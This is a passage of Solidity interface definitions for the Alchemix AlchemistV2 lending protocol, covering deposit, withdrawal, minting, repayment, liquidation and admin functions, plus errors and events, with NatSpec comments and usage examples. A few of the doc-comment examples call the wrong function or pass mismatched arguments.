/// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Deposit} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **yieldToken** being deposited. This can be done via the standard `ERC20.approve()` method.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amount = 50000;
/// @notice IERC20(ydai).approve(alchemistAddress, amount);
/// @notice AlchemistV2(alchemistAddress).deposit(ydai, amount, msg.sender);
/// @notice ```
///
/// @param yieldToken The yield-token to deposit.
/// @param amount The amount of yield tokens to deposit.
/// @param recipient The owner of the account that will receive the resulting shares.
///
/// @return sharesIssued The number of shares issued to `recipient`.
function deposit(
address yieldToken,
uint256 amount,
address recipient
) external returns (uint256 sharesIssued);
/// @notice Deposit an underlying token into the account of `recipient` as `yieldToken`.
///
/// @notice An approval must be set for the underlying token of `yieldToken` which is greater than `amount`.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Deposit} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **underlyingToken** being deposited. This can be done via the standard `ERC20.approve()` method.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amount = 50000;
/// @notice AlchemistV2(alchemistAddress).depositUnderlying(ydai, amount, msg.sender, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to wrap the underlying tokens into.
/// @param amount The amount of the underlying token to deposit.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of yield tokens that are expected to be deposited to `recipient`.
///
/// @return sharesIssued The number of shares issued to `recipient`.
function depositUnderlying(
address yieldToken,
uint256 amount,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 sharesIssued);
/// @notice Withdraw yield tokens to `recipient` by burning `share` shares. The number of yield tokens withdrawn to `recipient` will depend on the value of shares for that yield token at the time of the call.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai);
/// @notice uint256 amtYieldTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdraw(ydai, amtYieldTokens / pps, msg.sender);
/// @notice ```
///
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
///
/// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`.
function withdraw(
address yieldToken,
uint256 shares,
address recipient
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw yield tokens to `recipient` by burning `share` shares from the account of `owner`
///
/// @notice `owner` must have an withdrawal allowance which is greater than `amount` for this call to succeed.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai);
/// @notice uint256 amtYieldTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdrawFrom(msg.sender, ydai, amtYieldTokens / pps, msg.sender);
/// @notice ```
///
/// @param owner The address of the account owner to withdraw from.
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
///
/// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`.
function withdrawFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw underlying tokens to `recipient` by burning `share` shares and unwrapping the yield tokens that the shares were redeemed for.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai);
/// @notice uint256 amountUnderlyingTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(ydai, amountUnderlyingTokens / pps, msg.sender, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
///
/// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`.
function withdrawUnderlying(
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw underlying tokens to `recipient` by burning `share` shares from the account of `owner` and unwrapping the yield tokens that the shares were redeemed for.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai);
/// @notice uint256 amtUnderlyingTokens = 5000 * 10**ydai.decimals();
/// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(msg.sender, ydai, amtUnderlyingTokens / pps, msg.sender, 1);
/// @notice ```
///
/// @param owner The address of the account owner to withdraw from.
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
///
/// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`.
function withdrawUnderlyingFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 amountWithdrawn);
/// @notice Mint `amount` debt tokens.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
///
/// @notice Emits a {Mint} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtDebt = 5000;
/// @notice AlchemistV2(alchemistAddress).mint(amtDebt, msg.sender);
/// @notice ```
///
/// @param amount The amount of tokens to mint.
/// @param recipient The address of the recipient.
function mint(uint256 amount, address recipient) external;
/// @notice Mint `amount` debt tokens from the account owned by `owner` to `recipient`.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
///
/// @notice Emits a {Mint} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `mintFrom()` must have **mintAllowance()** to mint debt from the `Account` controlled by **owner** for at least the amount of **yieldTokens** that **shares** will be converted to. This can be done via the `approveMint()` or `permitMint()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtDebt = 5000;
/// @notice AlchemistV2(alchemistAddress).mintFrom(msg.sender, amtDebt, msg.sender);
/// @notice ```
///
/// @param owner The address of the owner of the account to mint from.
/// @param amount The amount of tokens to mint.
/// @param recipient The address of the recipient.
function mintFrom(
address owner,
uint256 amount,
address recipient
) external;
/// @notice Burn `amount` debt tokens to credit the account owned by `recipient`.
///
/// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `recipient` must have non-zero debt or this call will revert with an {IllegalState} error.
///
/// @notice Emits a {Burn} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtBurn = 5000;
/// @notice AlchemistV2(alchemistAddress).burn(amtBurn, msg.sender);
/// @notice ```
///
/// @param amount The amount of tokens to burn.
/// @param recipient The address of the recipient.
///
/// @return amountBurned The amount of tokens that were burned.
function burn(uint256 amount, address recipient) external returns (uint256 amountBurned);
/// @notice Repay `amount` debt using `underlyingToken` to credit the account owned by `recipient`.
///
/// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds.
///
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `underlyingToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `amount` must be less than or equal to the current available repay limit or this call will revert with a {ReplayLimitExceeded} error.
///
/// @notice Emits a {Repay} event.
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address dai = 0x6b175474e89094c44da98b954eedeac495271d0f;
/// @notice uint256 amtRepay = 5000;
/// @notice AlchemistV2(alchemistAddress).repay(dai, amtRepay, msg.sender);
/// @notice ```
///
/// @param underlyingToken The address of the underlying token to repay.
/// @param amount The amount of the underlying token to repay.
/// @param recipient The address of the recipient which will receive credit.
///
/// @return amountRepaid The amount of tokens that were repaid.
function repay(
address underlyingToken,
uint256 amount,
address recipient
) external returns (uint256 amountRepaid);
/// @notice
///
/// @notice `shares` will be limited up to an equal amount of debt that `recipient` currently holds.
///
/// @notice `shares` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
/// @notice `amount` must be less than or equal to the current available liquidation limit or this call will revert with a {LiquidationLimitExceeded} error.
///
/// @notice Emits a {Liquidate} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amtSharesLiquidate = 5000 * 10**ydai.decimals();
/// @notice AlchemistV2(alchemistAddress).liquidate(ydai, amtSharesLiquidate, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to liquidate.
/// @param shares The number of shares to burn for credit.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be liquidated.
///
/// @return sharesLiquidated The amount of shares that were liquidated.
function liquidate(
address yieldToken,
uint256 shares,
uint256 minimumAmountOut
) external returns (uint256 sharesLiquidated);
/// @notice Burns `amount` debt tokens to credit accounts which have deposited `yieldToken`.
///
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {Donate} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amtSharesLiquidate = 5000;
/// @notice AlchemistV2(alchemistAddress).liquidate(dai, amtSharesLiquidate, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to credit accounts for.
/// @param amount The amount of debt tokens to burn.
function donate(address yieldToken, uint256 amount) external;
/// @notice Harvests outstanding yield that a yield token has accumulated and distributes it as credit to holders.
///
/// @notice `msg.sender` must be a keeper or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice The amount being harvested must be greater than zero or else this call will revert with an {IllegalState} error.
///
/// @notice Emits a {Harvest} event.
///
/// @param yieldToken The address of the yield token to harvest.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
function harvest(address yieldToken, uint256 minimumAmountOut) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2AdminActions
/// @author Alchemix Finance
///
/// @notice Specifies admin and or sentinel actions.
interface IAlchemistV2AdminActions {
/// @notice Contract initialization parameters.
struct InitializationParams {
// The initial admin account.
address admin;
// The ERC20 token used to represent debt.
address debtToken;
// The initial transmuter or transmuter buffer.
address transmuter;
// The minimum collateralization ratio that an account must maintain.
uint256 minimumCollateralization;
// The percentage fee taken from each harvest measured in units of basis points.
uint256 protocolFee;
// The address that receives protocol fees.
address protocolFeeReceiver;
// A limit used to prevent administrators from making minting functionality inoperable.
uint256 mintingLimitMinimum;
// The maximum number of tokens that can be minted per period of time.
uint256 mintingLimitMaximum;
// The number of blocks that it takes for the minting limit to be refreshed.
uint256 mintingLimitBlocks;
// The address of the whitelist.
address whitelist;
}
/// @notice Configuration parameters for an underlying token.
struct UnderlyingTokenConfig {
// A limit used to prevent administrators from making repayment functionality inoperable.
uint256 repayLimitMinimum;
// The maximum number of underlying tokens that can be repaid per period of time.
uint256 repayLimitMaximum;
// The number of blocks that it takes for the repayment limit to be refreshed.
uint256 repayLimitBlocks;
// A limit used to prevent administrators from making liquidation functionality inoperable.
uint256 liquidationLimitMinimum;
// The maximum number of underlying tokens that can be liquidated per period of time.
uint256 liquidationLimitMaximum;
// The number of blocks that it takes for the liquidation limit to be refreshed.
uint256 liquidationLimitBlocks;
}
/// @notice Configuration parameters of a yield token.
struct YieldTokenConfig {
// The adapter used by the system to interop with the token.
address adapter;
// The maximum percent loss in expected value that can occur before certain actions are disabled measured in
// units of basis points.
uint256 maximumLoss;
// The maximum value that can be held by the system before certain actions are disabled measured in the
// underlying token.
uint256 maximumExpectedValue;
// The number of blocks that credit will be distributed over to depositors.
uint256 creditUnlockBlocks;
}
/// @notice Initialize the contract.
///
/// @notice `params.protocolFee` must be in range or this call will with an {IllegalArgument} error.
/// @notice The minting growth limiter parameters must be valid or this will revert with an {IllegalArgument} error. For more information, see the {Limiters} library.
///
/// @notice Emits an {AdminUpdated} event.
/// @notice Emits a {TransmuterUpdated} event.
/// @notice Emits a {MinimumCollateralizationUpdated} event.
/// @notice Emits a {ProtocolFeeUpdated} event.
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param params The contract initialization parameters.
function initialize(InitializationParams memory params) external;
/// @notice Sets the pending administrator.
///
/// @notice `msg.sender` must be the admin or this call will will revert with an {Unauthorized} error.
///
/// @notice Emits a {PendingAdminUpdated} event.
///
/// @dev This is the first step in the two-step process of setting a new administrator. After this function is called, the pending administrator will then need to call {acceptAdmin} to complete the process.
///
/// @param value the address to set the pending admin to.
function setPendingAdmin(address value) external;
/// @notice Allows for `msg.sender` to accepts the role of administrator.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice The current pending administrator must be non-zero or this call will revert with an {IllegalState} error.
///
/// @dev This is the second step in the two-step process of setting a new administrator. After this function is successfully called, this pending administrator will be reset and the new administrator will be set.
///
/// @notice Emits a {AdminUpdated} event.
/// @notice Emits a {PendingAdminUpdated} event.
function acceptAdmin() external;
/// @notice Sets an address as a sentinel.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param sentinel The address to set or unset as a sentinel.
/// @param flag A flag indicating of the address should be set or unset as a sentinel.
function setSentinel(address sentinel, bool flag) external;
/// @notice Sets an address as a keeper.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param keeper The address to set or unset as a keeper.
/// @param flag A flag indicating of the address should be set or unset as a keeper.
function setKeeper(address keeper, bool flag) external;
/// @notice Adds an underlying token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param underlyingToken The address of the underlying token to add.
/// @param config The initial underlying token configuration.
function addUnderlyingToken(
address underlyingToken,
UnderlyingTokenConfig calldata config
) external;
/// @notice Adds a yield token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {AddYieldToken} event.
/// @notice Emits a {TokenAdapterUpdated} event.
/// @notice Emits a {MaximumLossUpdated} event.
///
/// @param yieldToken The address of the yield token to add.
/// @param config The initial yield token configuration.
function addYieldToken(address yieldToken, YieldTokenConfig calldata config)
external;
/// @notice Sets an underlying token as either enabled or disabled.
///
/// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits an {UnderlyingTokenEnabled} event.
///
/// @param underlyingToken The address of the underlying token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setUnderlyingTokenEnabled(address underlyingToken, bool enabled)
external;
/// @notice Sets a yield token as either enabled or disabled.
///
/// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {YieldTokenEnabled} event.
///
/// @param yieldToken The address of the yield token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setYieldTokenEnabled(address yieldToken, bool enabled) external;
/// @notice Configures the the repay limit of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {ReplayLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the repay limit of.
/// @param maximum The maximum repay limit.
/// @param blocks The number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted.
function configureRepayLimit(
address underlyingToken,
uint256 maximum,
uint256 blocks
) external;
/// @notice Configure the liquidation limiter of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {LiquidationLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the liquidation limit of.
/// @param maximum The maximum liquidation limit.
/// @param blocks The number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted.
function configureLiquidationLimit(
address underlyingToken,
uint256 maximum,
uint256 blocks
) external;
/// @notice Set the address of the transmuter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {TransmuterUpdated} event.
///
/// @param value The address of the transmuter.
function setTransmuter(address value) external;
/// @notice Set the minimum collateralization ratio.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MinimumCollateralizationUpdated} event.
///
/// @param value The new minimum collateralization ratio.
function setMinimumCollateralization(uint256 value) external;
/// @notice Sets the fee that the protocol will take from harvests.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be in range or this call will with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeUpdated} event.
///
/// @param value The value to set the protocol fee to measured in basis points.
function setProtocolFee(uint256 value) external;
/// @notice Sets the address which will receive protocol fees.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
///
/// @param value The address to set the protocol fee receiver to.
function setProtocolFeeReceiver(address value) external;
/// @notice Configures the minting limiter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param maximum The maximum minting limit.
/// @param blocks The number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted.
function configureMintingLimit(uint256 maximum, uint256 blocks) external;
/// @notice Sets the rate at which credit will be completely available to depositors after it is harvested.
///
/// @notice Emits a {CreditUnlockRateUpdated} event.
///
/// @param yieldToken The address of the yield token to set the credit unlock rate for.
/// @param blocks The number of blocks that it will take before the credit will be unlocked.
function configureCreditUnlockRate(address yieldToken, uint256 blocks) external;
/// @notice Sets the token adapter of a yield token.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice The token that `adapter` supports must be `yieldToken` or this call will revert with a {IllegalState} error.
///
/// @notice Emits a {TokenAdapterUpdated} event.
///
/// @param yieldToken The address of the yield token to set the adapter for.
/// @param adapter The address to set the token adapter to.
function setTokenAdapter(address yieldToken, address adapter) external;
/// @notice Sets the maximum expected value of a yield token that the system can hold.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @param yieldToken The address of the yield token to set the maximum expected value for.
/// @param value The maximum expected value of the yield token denoted measured in its underlying token.
function setMaximumExpectedValue(address yieldToken, uint256 value)
external;
/// @notice Sets the maximum loss that a yield bearing token will permit before restricting certain actions.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @dev There are two types of loss of value for yield bearing assets: temporary or permanent. The system will automatically restrict actions which are sensitive to both forms of loss when detected. For example, deposits must be restricted when an excessive loss is encountered to prevent users from having their collateral harvested from them. While the user would receive credit, which then could be exchanged for value equal to the collateral that was harvested from them, it is seen as a negative user experience because the value of their collateral should have been higher than what was originally recorded when they made their deposit.
///
/// @param yieldToken The address of the yield bearing token to set the maximum loss for.
/// @param value The value to set the maximum loss to. This is in units of basis points.
function setMaximumLoss(address yieldToken, uint256 value) external;
/// @notice Snap the expected value `yieldToken` to the current value.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @dev This function should only be used in the event of a loss in the target yield-token. For example, say a third-party protocol experiences a fifty percent loss. The expected value (amount of underlying tokens) of the yield tokens being held by the system would be two times the real value that those yield tokens could be redeemed for. This function gives governance a way to realize those losses so that users can continue using the token as normal.
///
/// @param yieldToken The address of the yield token to snap.
function snap(address yieldToken) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Errors
/// @author Alchemix Finance
///
/// @notice Specifies errors.
interface IAlchemistV2Errors {
/// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that the system did not recognize.
///
/// @param token The address of the token.
error UnsupportedToken(address token);
/// @notice An error which is used to indicate that an operation failed because it tried to operate on a token that has been disabled.
///
/// @param token The address of the token.
error TokenDisabled(address token);
/// @notice An error which is used to indicate that an operation failed because an account became undercollateralized.
error Undercollateralized();
/// @notice An error which is used to indicate that an operation failed because the expected value of a yield token in the system exceeds the maximum value permitted.
///
/// @param yieldToken The address of the yield token.
/// @param expectedValue The expected value measured in units of the underlying token.
/// @param maximumExpectedValue The maximum expected value permitted measured in units of the underlying token.
error ExpectedValueExceeded(address yieldToken, uint256 expectedValue, uint256 maximumExpectedValue);
/// @notice An error which is used to indicate that an operation failed because the loss that a yield token in the system exceeds the maximum value permitted.
///
/// @param yieldToken The address of the yield token.
/// @param loss The amount of loss measured in basis points.
/// @param maximumLoss The maximum amount of loss permitted measured in basis points.
error LossExceeded(address yieldToken, uint256 loss, uint256 maximumLoss);
/// @notice An error which is used to indicate that a minting operation failed because the minting limit has been exceeded.
///
/// @param amount The amount of debt tokens that were requested to be minted.
/// @param available The amount of debt tokens which are available to mint.
error MintingLimitExceeded(uint256 amount, uint256 available);
/// @notice An error which is used to indicate that an repay operation failed because the repay limit for an underlying token has been exceeded.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of underlying tokens that were requested to be repaid.
/// @param available The amount of underlying tokens that are available to be repaid.
error RepayLimitExceeded(address underlyingToken, uint256 amount, uint256 available);
/// @notice An error which is used to indicate that an repay operation failed because the liquidation limit for an underlying token has been exceeded.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of underlying tokens that were requested to be liquidated.
/// @param available The amount of underlying tokens that are available to be liquidated.
error LiquidationLimitExceeded(address underlyingToken, uint256 amount, uint256 available);
/// @notice An error which is used to indicate that the slippage of a wrap or unwrap operation was exceeded.
///
/// @param amount The amount of underlying or yield tokens returned by the operation.
/// @param minimumAmountOut The minimum amount of the underlying or yield token that was expected when performing
/// the operation.
error SlippageExceeded(uint256 amount, uint256 minimumAmountOut);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Immutables
/// @author Alchemix Finance
interface IAlchemistV2Immutables {
/// @notice Returns the version of the alchemist.
///
/// @return The version.
function version() external view returns (string memory);
/// @notice Returns the address of the debt token used by the system.
///
/// @return The address of the debt token.
function debtToken() external view returns (address);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Events
/// @author Alchemix Finance
interface IAlchemistV2Events {
/// @notice Emitted when the pending admin is updated.
///
/// @param pendingAdmin The address of the pending admin.
event PendingAdminUpdated(address pendingAdmin);
/// @notice Emitted when the administrator is updated.
///
/// @param admin The address of the administrator.
event AdminUpdated(address admin);
/// @notice Emitted when an address is set or unset as a sentinel.
///
/// @param sentinel The address of the sentinel.
/// @param flag A flag indicating if `sentinel` was set or unset as a sentinel.
event SentinelSet(address sentinel, bool flag);
/// @notice Emitted when an address is set or unset as a keeper.
///
/// @param sentinel The address of the keeper.
/// @param flag A flag indicating if `keeper` was set or unset as a sentinel.
event KeeperSet(address sentinel, bool flag);
/// @notice Emitted when an underlying token is added.
///
/// @param underlyingToken The address of the underlying token that was added.
event AddUnderlyingToken(address indexed underlyingToken);
/// @notice Emitted when a yield token is added.
///
/// @param yieldToken The address of the yield token that was added.
event AddYieldToken(address indexed yieldToken);
/// @notice Emitted when an underlying token is enabled or disabled.
///
/// @param underlyingToken The address of the underlying token that was enabled or disabled.
/// @param enabled A flag indicating if the underlying token was enabled or disabled.
event UnderlyingTokenEnabled(address indexed underlyingToken, bool enabled);
/// @notice Emitted when an yield token is enabled or disabled.
///
/// @param yieldToken The address of the yield token that was enabled or disabled.
/// @param enabled A flag indicating if the yield token was enabled or disabled.
event YieldTokenEnabled(address indexed yieldToken, bool enabled);
/// @notice Emitted when the repay limit of an underlying token is updated.
///
/// @param underlyingToken The address of the underlying token.
/// @param maximum The updated maximum repay limit.
/// @param blocks The updated number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted.
event RepayLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks);
/// @notice Emitted when the liquidation limit of an underlying token is updated.
///
/// @param underlyingToken The address of the underlying token.
/// @param maximum The updated maximum liquidation limit.
/// @param blocks The updated number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted.
event LiquidationLimitUpdated(address indexed underlyingToken, uint256 maximum, uint256 blocks);
/// @notice Emitted when the transmuter is updated.
///
/// @param transmuter The updated address of the transmuter.
event TransmuterUpdated(address transmuter);
/// @notice Emitted when the minimum collateralization is updated.
///
/// @param minimumCollateralization The updated minimum collateralization.
event MinimumCollateralizationUpdated(uint256 minimumCollateralization);
/// @notice Emitted when the protocol fee is updated.
///
/// @param protocolFee The updated protocol fee.
event ProtocolFeeUpdated(uint256 protocolFee);
/// @notice Emitted when the protocol fee receiver is updated.
///
/// @param protocolFeeReceiver The updated address of the protocol fee receiver.
event ProtocolFeeReceiverUpdated(address protocolFeeReceiver);
/// @notice Emitted when the minting limit is updated.
///
/// @param maximum The updated maximum minting limit.
/// @param blocks The updated number of blocks it will take for the maximum minting limit to be replenished when it is completely exhausted.
event MintingLimitUpdated(uint256 maximum, uint256 blocks);
/// @notice Emitted when the credit unlock rate is updated.
///
/// @param yieldToken The address of the yield token.
/// @param blocks The number of blocks that distributed credit will unlock over.
event CreditUnlockRateUpdated(address yieldToken, uint256 blocks);
/// @notice Emitted when the adapter of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param tokenAdapter The updated address of the token adapter.
event TokenAdapterUpdated(address yieldToken, address tokenAdapter);
/// @notice Emitted when the maximum expected value of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param maximumExpectedValue The updated maximum expected value.
event MaximumExpectedValueUpdated(address indexed yieldToken, uint256 maximumExpectedValue);
/// @notice Emitted when the maximum loss of a yield token is updated.
///
/// @param yieldToken The address of the yield token.
/// @param maximumLoss The updated maximum loss.
